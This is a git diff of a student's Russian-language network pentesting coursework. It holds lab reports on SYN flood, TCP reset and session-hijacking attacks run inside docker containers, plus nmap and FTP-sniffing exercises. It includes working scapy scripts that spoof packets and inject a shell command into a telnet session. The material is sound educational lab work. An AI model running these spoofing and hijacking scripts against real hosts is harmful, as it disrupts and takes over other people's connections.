SYN-RECV 0 0 10.3.0.4:telnet 27.247.195.32:3246
SYN-RECV 0 0 10.3.0.4:telnet 67.76.249.89:36674
SYN-RECV 0 0 10.3.0.4:telnet 183.232.155.249:34478
SYN-RECV 0 0 10.3.0.4:telnet 27.86.84.54:29173
SYN-RECV 0 0 10.3.0.4:telnet 138.165.85.141:17408
SYN-RECV 0 0 10.3.0.4:telnet 116.21.101.61:45236
SYN-RECV 0 0 10.3.0.4:telnet 175.44.125.225:466
SYN-RECV 0 0 10.3.0.4:telnet 216.66.253.9:26636
SYN-RECV 0 0 10.3.0.4:telnet 59.108.99.169:30039
SYN-RECV 0 0 10.3.0.4:telnet 39.85.136.219:37845
SYN-RECV 0 0 10.3.0.4:telnet 48.0.195.61:20322
SYN-RECV 0 0 10.3.0.4:telnet 29.51.136.15:37360
SYN-RECV 0 0 10.3.0.4:telnet 109.45.185.107:64550
SYN-RECV 0 0 10.3.0.4:telnet 212.126.191.57:53052
SYN-RECV 0 0 10.3.0.4:telnet 215.189.234.143:41317
SYN-RECV 0 0 10.3.0.4:telnet 109.203.202.22:26954
SYN-RECV 0 0 10.3.0.4:telnet 93.249.23.245:675
SYN-RECV 0 0 10.3.0.4:telnet 196.92.153.45:42899
SYN-RECV 0 0 10.3.0.4:telnet 89.95.77.50:19402
SYN-RECV 0 0 10.3.0.4:telnet 72.108.205.97:41939
SYN-RECV 0 0 10.3.0.4:telnet 18.86.157.171:56327
SYN-RECV 0 0 10.3.0.4:telnet 207.92.81.59:43164
SYN-RECV 0 0 10.3.0.4:telnet 65.224.35.250:22195
SYN-RECV 0 0 10.3.0.4:telnet 155.38.175.253:62408
SYN-RECV 0 0 10.3.0.4:telnet 31.97.126.171:8731
SYN-RECV 0 0 10.3.0.4:telnet 130.73.216.158:54260
SYN-RECV 0 0 10.3.0.4:telnet 159.178.81.125:58782
SYN-RECV 0 0 10.3.0.4:telnet 80.43.110.182:15577
SYN-RECV 0 0 10.3.0.4:telnet 41.204.143.205:57513
SYN-RECV 0 0 10.3.0.4:telnet 39.206.85.139:8549
SYN-RECV 0 0 10.3.0.4:telnet 43.223.132.191:10875
SYN-RECV 0 0 10.3.0.4:telnet 204.26.154.217:64975
```
2. Подключения на месте. Проверим возможность подключения по Telnet.
```bash
┌──(marker㉿kali)-[~]
└─$ docker exec -it HostB telnet Victim
Trying 10.3.0.4...
Connected to Victim.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
6796bc79f91e login: ^X^CConnection closed by foreign host.
┌──(marker㉿kali)-[~]
└─$ docker exec -it HostB telnet Victim
Trying 10.3.0.4...
Connected to Victim.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
6796bc79f91e login: ^CConnection closed by foreign host.
┌──(marker㉿kali)-[~]
└─$ docker exec -it HostB telnet Victim
Trying 10.3.0.4...
Connected to Victim.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
6796bc79f91e login: ^CConnection closed by foreign host.
┌──(marker㉿kali)-[~]
└─$ docker exec -it HostB telnet Victim
Trying 10.3.0.4...
Connected to Victim.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
6796bc79f91e login: ^CConnection closed by foreign host.
```
Проведя 4 попытки подключения и мгновенно увидев баннер Telnet можем сделать вывод, что в этот раз атака не удалась.
#### Итог задачи 1.1
Атака при `net.ipv4.tcp_syncookies=1` производится **неудачно**.
### Итог задачи 1.
Механизм TCP SYN cookies позволяет серверу генерировать специальные сокращенные версии TCP-заголовков (cookies) в ответ на входящие запросы SYN, сохраняя минимум информации о соединении. Когда сервер получает подтверждение от клиента (ACK-пакет), он может восстановить полную информацию о соединении из сокращенной версии TCP-заголовка, инициированной в SYN-пакете.
Этот механизм позволяет серверу обрабатывать и отвечать на большое количество входящих соединений даже в условиях атаки SYN flood, так как он не хранит информацию о незавершенных соединениях в памяти, а использует специальные cookie для отслеживания состояния соединения.
TCP SYN cookies - это один из методов защиты от атак на уровне TCP, который повышает устойчивость серверов к подобным атакам и обеспечивает непрерывность работы сетевых служб.
## Задача 2. TCP reset attack
1. Для выполнения атаки нам необходимо получить вводные данные. Для этого в момент подключения с `HostB` к `Victim` будем слушать трафик между ними с помощью `tcpdump`
Выполняем подключение с `HostB` к `Victim`
```bash
┌──(marker㉿kali)-[~]
└─$ docker exec -it HostB telnet Victim
Trying 10.3.0.4...
Connected to Victim.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
f781be235ebf login: root
Password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 6.6.9-amd64 x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
Last login: Mon Mar 4 19:45:56 UTC 2024 from HostB.net-1 on pts/1
root@f781be235ebf:~#
```
"Слушаем" трафик с помощью `tcpdump`
```bash
┌──(marker㉿kali)-[~]
└─$ sudo tcpdump -i br-932aa0b67a23 port 23 -S
14:50:10.308304 IP 10.3.0.4.telnet > 10.3.0.3.55418: Flags [P.], seq 825594434:825594502, ack 3707590235, win 249, options [nop,nop,TS val 1822356222 ecr 1858411726], length 68
14:50:10.308324 IP 10.3.0.3.55418 > 10.3.0.4.telnet: Flags [.], ack 825594502, win 249, options [nop,nop,TS val 1858411726 ecr 1822356222], length 0
14:50:10.315817 IP 10.3.0.4.telnet > 10.3.0.3.55418: Flags [P.], seq 825594502:825594523, ack 3707590235, win 249, options [nop,nop,TS val 1822356230 ecr 1858411726], length 21
14:50:10.315850 IP 10.3.0.3.55418 > 10.3.0.4.telnet: Flags [.], ack 825594523, win 249, options [nop,nop,TS val 1858411734 ecr 1822356230], length 0
```
В логах трафика нам необходимо получить данные для наполнения скрипта -- `src`, `dst`, `sport`, `dport` и `seq`.
| **Параметр** | **Значение** | **Примечание** |
| --- | --- | --- |
| src | 10.3.0.3 | IP-адрес `HostB` |
| dst | 10.3.0.4 | IP-адрес `Victim` |
| sport | 55418 | Номер порта, с которого `HostB` устанавливает подключение |
| dport | 23 | Номер порта telnet на `Victim` |
| seq | 3707590235 | Номер следующей последовательности, который ожидает `Victim` от `HostB` |
2. Подставим полученные данные в скрипт `opt2.py` для проведения атаки.
```python
#!/usr/bin/env python3
from scapy.all import IP,TCP,send,ls
ip = IP(src="10.3.0.3", dst="10.3.0.4")
tcp = TCP(sport=55418, dport=23, flags="R", seq=3707590235)
pkt = ip/tcp
ls(pkt)
send(pkt, verbose=0)
```
3. Выполним атакующий скрипт
```bash
┌──(marker㉿kali)-[~]
└─$ docker exec -it Victim ./volume/opt2.py
version : BitField (4 bits) = 4 (4)
ihl : BitField (4 bits) = None (None)
tos : XByteField = 0 (0)
len : ShortField = None (None)
id : ShortField = 1 (1)
flags : FlagsField (3 bits) = <Flag 0 ()> (<Flag 0 ()>)
frag : BitField (13 bits) = 0 (0)
ttl : ByteField = 64 (64)
proto : ByteEnumField = 6 (0)
chksum : XShortField = None (None)
src : SourceIPField = '10.3.0.3' (None)
dst : DestIPField = '10.3.0.4' (None)
options : PacketListField = [] ([])
--
sport : ShortEnumField = 55418 (20)
dport : ShortEnumField = 23 (80)
seq : IntField = 3707590235 (0)
ack : IntField = 0 (0)
dataofs : BitField (4 bits) = None (None)
reserved : BitField (3 bits) = 0 (0)
flags : FlagsField (9 bits) = <Flag 4 (R)> (<Flag 2 (S)>)
window : ShortField = 8192 (8192)
chksum : XShortField = None (None)
urgptr : ShortField = 0 (0)
options : TCPOptionsField = [] (b'')
```
4. Убедимся в наличии RST-пакета в `tcpdump`
```
14:52:18.312274 IP 10.3.0.3.55418 > 10.3.0.4.telnet: Flags [R], seq 3707590235, win 8192, length 0
```
5. Проверим состояние соединения путём нажатия Enter в подключении `telnet`
```
root@f781be235ebf:~# Connection closed by foreign host.
```
Согласно выводу, соединение было закрыто, атаку можно считать успешной.
### Итог задачи 2.
TCP RST (Reset) атака - это форма атаки на уровне TCP, которая может быть использована для нарушения установленных TCP-соединений между клиентом и сервером.
Принцип работы атаки заключается в отправке поддельных RST-пакетов (пакетов сброса соединения) от имени одной из сторон (обычно от сервера) для преждевременного завершения установленного TCP-соединения. Это может привести к разрыву соединения и прекращению обмена данными между клиентом и сервером.
Несмотря на вышеописанное, подготовка к такой атаке является довольно сложной на практике, ведь злоумышленник должен иметь доступ к трафику внутри сети для правильного составления атакующего пакета.
## Задача 3. TCP Session Hijacking attack
1. Аналогично заданию 2 установим Тelnet-сессию между узлами `HostB` и `Victim` и соберем исходные данные. Скелет кода похож на тот, который указан в задании 2, отличается лишь сегментом TCP и необходимостью добавления блока данных.
Основываясь на данных из `tcpdump` заполним нашу таблицу:
```
...
15:44:49.999520 IP 10.3.0.4.telnet > 10.3.0.3.60124: Flags [P.], seq 482847749:482847772, ack 1386786213, win 249, options [nop,nop,TS val 1825635913 ecr 1861691417], length 23
15:44:49.999547 IP 10.3.0.3.60124 > 10.3.0.4.telnet: Flags [.], ack 482847772, win 249, options [nop,nop,TS val 1861691417 ecr 1825635913], length 0
```
Таблица:
| **Параметр** | **Значение** | **Примечание** |
| --- | --- | --- |
| src | 10.3.0.3 | IP-адрес `HostB` |
| dst | 10.3.0.4 | IP-адрес `Victim` |
| sport | 60124 | Номер порта, с которого `HostB` устанавливает подключение |
| dport | 23 | Номер порта telnet на `Victim` |
| seq | 1386786213 | Номер следующей последовательности, который ожидает `Victim` от `HostB` |
| ack | 482847772 | |
2. Заполняем скрипт полученными данными
```python
#!/usr/bin/env python3
from scapy.all import IP,TCP,send,ls
ip = IP(src="10.3.0.3", dst="10.3.0.4")
tcp = TCP(sport=60124, dport=23, flags="PA", seq=1386786213, ack=482847772)
data = "\r mkdir 1337 \r"
pkt = ip/tcp/data
ls(pkt)
send(pkt, verbose=0)
```
3. Выполним атакующий скрипт
```bash
┌──(marker㉿kali)-[~]
└─$ docker exec -it seed-attacker ./volume/opt3.py
version : BitField (4 bits) = 4 (4)
ihl : BitField (4 bits) = None (None)
tos : XByteField = 0 (0)
len : ShortField = None (None)
id : ShortField = 1 (1)
flags : FlagsField (3 bits) = <Flag 0 ()> (<Flag 0 ()>)
frag : BitField (13 bits) = 0 (0)
ttl : ByteField = 64 (64)
proto : ByteEnumField = 6 (0)
chksum : XShortField = None (None)
src : SourceIPField = '10.3.0.3' (None)
dst : DestIPField = '10.3.0.4' (None)
options : PacketListField = [] ([])
--
sport : ShortEnumField = 60124 (20)
dport : ShortEnumField = 23 (80)
seq : IntField = 1386786213 (0)
ack : IntField = 482847772 (0)
dataofs : BitField (4 bits) = None (None)
reserved : BitField (3 bits) = 0 (0)
flags : FlagsField (9 bits) = <Flag 24 (PA)> (<Flag 2 (S)>)
window : ShortField = 8192 (8192)
chksum : XShortField = None (None)
urgptr : ShortField = 0 (0)
options : TCPOptionsField = [] (b'')
--
load : StrField = b'\r mkdir 1337 \r' (b'')
```
4. Убедимся в наличии пакетов в tcpdump.
```
15:45:40.024448 IP 10.3.0.3.60124 > 10.3.0.4.telnet: Flags [P.], seq 1386786213:1386786227, ack 482847772, win 8192, length 14
15:45:40.024851 IP 10.3.0.4.telnet > 10.3.0.3.60124: Flags [P.], seq 482847772:482847795, ack 1386786227, win 249, options [nop,nop,TS val 1825685939 ecr 1861691417], length 23
15:45:40.231905 IP 10.3.0.4.telnet > 10.3.0.3.60124: Flags [P.], seq 482847795:482847830, ack 1386786227, win 249, options [nop,nop,TS val 1825686146 ecr 1861691417], length 35
```
5. Проверив состояние нашего соединения между хостами `HostB` и `Victim` обнаруживаем, что соединение зависло и не реагирует на команды. Но как обстоят дела с папкой `1337` на хосте `Victim`?
```bash
┌──(marker㉿kali)-[~]
└─$ docker exec -it Victim ls -la /root
total 32
drwx------ 1 root root 4096 Mar 4 20:45 .
drwxr-xr-x 1 root root 4096 Mar 4 19:35 ..
-rw------- 1 root root 40 Mar 4 20:48 .bash_history
-rw-rw-r-- 1 root root 160 Nov 26 2020 .bashrc
drwxr-xr-x 1 root root 4096 Mar 4 19:36 .cache
-rw-r--r-- 1 root root 161 Dec 5 2019 .profile
drwxr-xr-x 2 root root 4096 Mar 4 20:45 1337
```
Видим свежесозданную папку с именем `1337`, сигнализирующую о том, что атака прошла **успешно**!
### Итог задачи 3.
TCP Session Hijacking (взятие сессии) - это форма атаки на уровне TCP, направленная на захват установленной сессии между клиентом и сервером с целью несанкционированного доступа к данным или выполнения действий от имени атакуемого пользователя.
Принцип работы атаки заключается во вмешательстве в установленное TCP-соединение между клиентом и сервером путем введения поддельных TCP-пакетов или захвата существующих пакетов для манипуляции сессией. Атакующий может попытаться взять контроль над сессией, изменить данные, выполнить команды от имени пользователя или даже завершить сессию.
В целом атака очень похожа на TCP RST-атаку по необходимым вводным данным.
Для защиты от подобных атак могут применяться различные меры, такие как:
- Использование шифрования и цифровой подписи для защиты конфиденциальности и целостности данных во время передачи. (Например, использование SSHv2 вместо Telnet)
- Мониторинг сетевого трафика с целью обнаружения подозрительной активности или аномалий. (Сетевые снифферы с IDS, например PT Network Attack Discovery или Kaspersky Anti-Targetted Attack)
- Настройка сетевой защиты, включая файерволы, средства обнаружения вторжений и фильтрацию пакетов.
# Итог лабораторной работы
На этом лабораторная работа окончена, файл отчет в формате pdf во вложении.
Выполнил: Харитонов Марат Русланович, студенческий билет №М235314.

57
02-pentest/01-network/01-tcpip/02-tcp/docker-compose.yaml Normal file
View File

@@ -0,0 +1,57 @@
version: "3"
networks:
net-1:
name: net-1
ipam:
config:
- subnet: 10.3.0.0/24
services:
attacker:
image: sb27/sf-lab1:latest
container_name: seed-attacker
tty: true
cap_add:
- ALL
privileged: true
volumes:
- ./volume:/volume
networks:
net-1:
ipv4_address: 10.3.0.37
User1:
image: sb27/sf-lab1:latest
container_name: HostA
tty: true
cap_add:
- ALL
networks:
net-1:
ipv4_address: 10.3.0.2
User2:
image: sb27/sf-lab1:latest
container_name: HostB
tty: true
cap_add:
- ALL
networks:
net-1:
ipv4_address: 10.3.0.3
Victim:
image: sb27/sf-lab1:latest
container_name: Victim
tty: true
cap_add:
- ALL
privileged: true
sysctls:
- net.ipv4.tcp_syncookies=1
networks:
net-1:
ipv4_address: 10.3.0.4

BIN
02-pentest/01-network/01-tcpip/02-tcp/img/image01.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 48 KiB

BIN
02-pentest/01-network/01-tcpip/02-tcp/img/image02.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 9.2 KiB

BIN
02-pentest/01-network/01-tcpip/02-tcp/img/image03.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 142 KiB

BIN
02-pentest/01-network/01-tcpip/02-tcp/img/image04.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 19 KiB

BIN
02-pentest/01-network/01-tcpip/02-tcp/img/image05.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 97 KiB

BIN
02-pentest/01-network/01-tcpip/02-tcp/img/image06.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 61 KiB

BIN
02-pentest/01-network/01-tcpip/02-tcp/img/image07.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 104 KiB

BIN
02-pentest/01-network/01-tcpip/02-tcp/img/image08.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 173 KiB

BIN
02-pentest/01-network/01-tcpip/02-tcp/img/image09.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 19 KiB

BIN
02-pentest/01-network/01-tcpip/02-tcp/img/image10.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 95 KiB

BIN
02-pentest/01-network/01-tcpip/02-tcp/img/image11.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 263 KiB

BIN
02-pentest/01-network/01-tcpip/02-tcp/img/image12.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 49 KiB

BIN
02-pentest/01-network/01-tcpip/02-tcp/img/image13.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 99 KiB

BIN
02-pentest/01-network/01-tcpip/02-tcp/img/image14.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 26 KiB

BIN
02-pentest/01-network/01-tcpip/02-tcp/img/image15.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 105 KiB

BIN
02-pentest/01-network/01-tcpip/02-tcp/img/image16.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 190 KiB

BIN
02-pentest/01-network/01-tcpip/02-tcp/img/image17.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 57 KiB

BIN
02-pentest/01-network/01-tcpip/02-tcp/img/image18.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 108 KiB

BIN
02-pentest/01-network/01-tcpip/02-tcp/img/image19.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 108 KiB

BIN
02-pentest/01-network/01-tcpip/02-tcp/img/image20.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 54 KiB

BIN
02-pentest/01-network/01-tcpip/02-tcp/img/opt1.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 80 KiB

15
02-pentest/01-network/01-tcpip/02-tcp/volume/opt1.py Executable file
View File

@@ -0,0 +1,15 @@
#!/usr/bin/python3
from scapy.all import IP, TCP, send
from ipaddress import IPv4Address
from random import getrandbits
ip = IP(dst="10.3.0.4")
tcp = TCP(dport=23, flags='S')
pkt = ip/tcp
while True:
pkt[IP].src = str(IPv4Address(getrandbits(32)))
pkt[TCP].sport = getrandbits(16)
pkt[TCP].seq = getrandbits(32)
send(pkt, iface = 'eth0', verbose = 0)

7
02-pentest/01-network/01-tcpip/02-tcp/volume/opt2.py Executable file
View File

@@ -0,0 +1,7 @@
#!/usr/bin/env python3
from scapy.all import IP,TCP,send,ls
ip = IP(src="10.3.0.3", dst="10.3.0.4")
tcp = TCP(sport=40060, dport=23, flags="R", seq=1838235189)
pkt = ip/tcp
ls(pkt)
send(pkt, verbose=0)

8
02-pentest/01-network/01-tcpip/02-tcp/volume/opt3.py Executable file
View File

@@ -0,0 +1,8 @@
#!/usr/bin/env python3
from scapy.all import IP,TCP,send,ls
ip = IP(src="10.3.0.3", dst="10.3.0.4")
tcp = TCP(sport=54402, dport=23, flags="PA", seq=4125627535, ack=2474120203)
data = "\r mkdir 1337 \r"
pkt = ip/tcp/data
ls(pkt)
send(pkt, verbose=0)

66
02-pentest/01-network/02-scanner/01-ftp/README.md Normal file
View File

@@ -0,0 +1,66 @@
# Сканирование сетей. Лабораторная работа №1 (HW)
## Ход работы
1. Подготовим виртуальную машину с Linux Ubuntu 22.04
![alt text](img/image01.png)
2. Установим FTP-сервер командой `sudo apt install vsftpd`
![alt text](img/image02.png)
3. В файл конфигурации `/etc/vsftpd.conf` запишем следующие строки:
```
listen=YES
listen_ipv6=NO
anonymous_enable=NO
local_enable=YES
write_enable=YES
dirmessage_enable=YES
use_localtime=YES
xferlog_enable=YES
connect_from_port_20=YES
xferlog_std_format=YES
chroot_local_user=YES
secure_chroot_dir=/var/run/vsftpd/empty
pam_service_name=vsftpd
allow_writeable_chroot=YES
```
![alt text](img/image03.png)
4. Перезапустим службу `sudo systemctl restart vsftpd`
![alt text](img/image04.png)
5. Создадим отдельного пользователя для дальнейшего подключения к FTP-серверу, последовательно выполняя следующие команды:
```bash
sudo useradd ftpuser
sudo mkhomedir_helper ftpuser
sudo passwd ftpuser
```
![alt text](img/image05.png)
6. В директории /home/ftpuser создадим файл.
![alt text](img/image06.png)
7. Запустим на сервере `tcpdump` с записью в файл
![alt text](img/image07.png)
8. Проанализируем полученный файл `ftp.pcap` в Wireshark
![alt text](img/image08.png)
![alt text](img/image09.png)
## Выводы
Проанализировав PCAP-файл мы можем увидеть, что протокол FTP по умолчанию не использует шифрование, а значит вся сессия, в том числе чувствительные данные (логин, пароль, листинг директории) могут быть извлечены при прослушивании сессии.
Использовать FTP без шифрования за пределами доверенной сети крайне не рекомендуется, для этих целей лучше подойдут протоколы, обеспечивающие шифрование (FTPS, SCP, SFTP). При технической необходимости использовать FTP для передачи данных вне доверенной сети, необходимо как минимум использовать VPN для инкапсуляции открытого трафика в шифрованный.
**Выполнил:** Харитонов Марат Русланович, студенческий билет М235314.

BIN
02-pentest/01-network/02-scanner/01-ftp/ftp.pcap Normal file
View File

Binary file not shown.

BIN
02-pentest/01-network/02-scanner/01-ftp/img/image01.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 138 KiB

BIN
02-pentest/01-network/02-scanner/01-ftp/img/image02.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 139 KiB

BIN
02-pentest/01-network/02-scanner/01-ftp/img/image03.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 43 KiB

BIN
02-pentest/01-network/02-scanner/01-ftp/img/image04.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 72 KiB

BIN
02-pentest/01-network/02-scanner/01-ftp/img/image05.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 23 KiB

BIN
02-pentest/01-network/02-scanner/01-ftp/img/image06.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 38 KiB

BIN
02-pentest/01-network/02-scanner/01-ftp/img/image07.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 26 KiB

BIN
02-pentest/01-network/02-scanner/01-ftp/img/image08.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 246 KiB

BIN
02-pentest/01-network/02-scanner/01-ftp/img/image09.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 269 KiB

14
02-pentest/01-network/02-scanner/01-ftp/vsftpd.conf Normal file
View File

@@ -0,0 +1,14 @@
listen=YES
listen_ipv6=NO
anonymous_enable=NO
local_enable=YES
write_enable=YES
dirmessage_enable=YES
use_localtime=YES
xferlog_enable=YES
connect_from_port_20=YES
xferlog_std_format=YES
chroot_local_user=YES
secure_chroot_dir=/var/run/vsftpd/empty
pam_service_name=vsftpd
allow_writeable_chroot=YES

90
02-pentest/01-network/02-scanner/02-nmap/README.md Normal file
View File

@@ -0,0 +1,90 @@
# Сканирование сетей. Лабораторная работа №2 (HW)
## Ход работы
1. Подготовим 2 хоста с установленным nmap:
`kali` (`192.168.103.88`)
![alt](img/image01.png)
`ubuntu` (`192.168.103.100`)
![alt](img/image02.png)
2. Просканируем хост `ubuntu` с `kali` различными методами.
![alt](img/image03.png)
![alt](img/image05.png)
3. Просканируем хост `kali` с `ubuntu` различными методами.
![alt](img/image04.png)
![alt](img/image06.png)
Результаты сканирований не отличаются, результат `Host seems down` мы получили только при использовании параметра `PM`, который использует netmask request discovery probe.
4. Просканируем машины с помощью команды `nmap <ip-адрес>`
`kali` -> `ubuntu`
![alt text](img/image08.png)
`ubuntu` -> `kali`
![alt text](img/image07.png)
В таком виде команда выполняет сканирование доступности и портов (1000 популярных) указанного адреса. Видим, что на `kali` открыт только 22/tcp (служба SSH), а на `ubuntu` -- 21/tcp, 22/tcp, что соответствует службам FTP и SSH соответственно.
5. Выполним сканирование порта 21/tcp методами TCP SYN Scan, TCP Connect Scan, UDP Scan, TCP FIN Scan, TCP NULL Scan, TCP Xmas Scan и TCP ACK Scan.
```bash
nmap 192.168.103.100 -sS -p 21
nmap 192.168.103.100 -sT -p 21
nmap 192.168.103.100 -sA -p 21
nmap 192.168.103.100 -sU -p 21
nmap 192.168.103.100 -sN -p 21
nmap 192.168.103.100 -sF -p 21
nmap 192.168.103.100 -sX -p 21
```
![](img/image09.png)
6. На машине `ubuntu` с помощью `docker` запустим веб-сервер `nginx` на порту `2839/tcp`
![](img/image10.png)
7. Снова просканируем машину с помощью команды `nmap 192.168.103.100`
![alt text](img/image11.png)
Нового порта не видим в силу того, что `nmap` использует 1000 предопределенных портов, в которые `2839/tcp` не входит.
8. Просканируем порт указав его вручную.
![alt text](img/image12.png)
Порт появился как открытый.
9. Выполним сканирование порта методами из п.5.
```bash
nmap 192.168.103.100 -sS -p 2839
nmap 192.168.103.100 -sT -p 2839
nmap 192.168.103.100 -sA -p 2839
nmap 192.168.103.100 -sU -p 2839
nmap 192.168.103.100 -sN -p 2839
nmap 192.168.103.100 -sF -p 2839
nmap 192.168.103.100 -sX -p 2839
```
![alt text](img/image13.png)
## Выводы
Мы рассмотрели работу утилиты `nmap`, которая позволяет определить доступность хоста различными методами, а также определить службы, запущенные на удаленном устройстве.
**Выполнил:** Харитонов Марат Русланович, студенческий билет М235314.

BIN
02-pentest/01-network/02-scanner/02-nmap/img/image01.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 38 KiB

BIN
02-pentest/01-network/02-scanner/02-nmap/img/image02.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 37 KiB

BIN
02-pentest/01-network/02-scanner/02-nmap/img/image03.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 191 KiB

BIN
02-pentest/01-network/02-scanner/02-nmap/img/image04.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 224 KiB

BIN
02-pentest/01-network/02-scanner/02-nmap/img/image05.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 36 KiB

BIN
02-pentest/01-network/02-scanner/02-nmap/img/image06.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 40 KiB

BIN
02-pentest/01-network/02-scanner/02-nmap/img/image07.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 47 KiB

BIN
02-pentest/01-network/02-scanner/02-nmap/img/image08.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 48 KiB

BIN
02-pentest/01-network/02-scanner/02-nmap/img/image09.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 145 KiB

BIN
02-pentest/01-network/02-scanner/02-nmap/img/image10.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 40 KiB

BIN
02-pentest/01-network/02-scanner/02-nmap/img/image11.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 49 KiB

BIN
02-pentest/01-network/02-scanner/02-nmap/img/image12.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 46 KiB

BIN
02-pentest/01-network/02-scanner/02-nmap/img/image13.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 121 KiB

86
02-pentest/01-network/02-scanner/03-postgresql/README.md Normal file
View File

@@ -0,0 +1,86 @@
# Сканирование сетей. Лабораторная работа №3 (HW)
## Ход работы
1. Просканируем машину `ubuntu` с помощью команды `nmap -sV 192.168.103.100`
![alt text](img/image01.png)
Мы обнаружили 2 сервиса на `21/tcp` и `22/tcp`, определили их тип `FTP` и `SSH` и обнаружили версию этих пакетов. Также мы смогли определить, что используется ОС Linux, о чем говорит следующее: `Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel`
2. С помощью `docker-compose` запустим на машине сервер `PostgreSQL`.
```yaml
version: '3.3'
services:
postgres:
image: library/postgres:16.2
volumes:
- postgres-data:/var/lib/postgresql
environment:
POSTGRES_USER: postgres
POSTGRES_PASSWORD: 1337
ports:
- '5432:5432'
restart: always
volumes:
postgres-data:
```
![alt text](img/image02.png)
3. Снова просканируем машину `ubuntu` с помощью команды `nmap -sV 192.168.103.100`
![alt text](img/image03.png)
В этот раз мы обнаружили сервис `PostgreSQL`. Nmap попробовал определить его версию, но, судя по предупреждению, ему это не удалось. Также nmap сообщает, что якобы имеется ещё один нераспознанный сервис.
4. Просканируем нестандартный порт `2839/tcp` из лабораторной №2 и порт Postgresql `5432/tcp`, указывая уровни интенсивности от 1 до 9.
`nmap -sV 192.168.103.100 -p 5432,2839 --version-intensity 1`
![alt text](img/1.png)
`nmap -sV 192.168.103.100 -p 5432,2839 --version-intensity 2`
![alt text](img/2.png)
`nmap -sV 192.168.103.100 -p 5432,2839 --version-intensity 3`
![alt text](img/3.png)
`nmap -sV 192.168.103.100 -p 5432,2839 --version-intensity 4`
![alt text](img/4.png)
`nmap -sV 192.168.103.100 -p 5432,2839 --version-intensity 5`
![alt text](img/5.png)
`nmap -sV 192.168.103.100 -p 5432,2839 --version-intensity 6`
![alt text](img/6.png)
`nmap -sV 192.168.103.100 -p 5432,2839 --version-intensity 7`
![alt text](img/7.png)
`nmap -sV 192.168.103.100 -p 5432,2839 --version-intensity 8`
![alt text](img/8.png)
`nmap -sV 192.168.103.100 -p 5432,2839 --version-intensity 9`
![alt text](img/9.png)
Как мы видим, при интенсивности 1-6, мы получаем информацию только о Nginx и Postgres. При 7-8, мы дополнительно видим информацию о несущствующем сервисе. При 10 Postgres начинает определяться как `Nagios NSCA 9.6.0 or later`, что не соответствует действительности.
## Выводы
Мы рассмотрели работу утилиты `nmap`, а конкретно функционал определения сервисов, который позволяет подробнее понять, что за сервис скрывается за портом. Также мы поняли, что `nmap` пытаться определить сервис с разной интенсивностью, что может как помочь, так и запутать при аудите хоста.
**Выполнил:** Харитонов Марат Русланович, студенческий билет М235314.

16
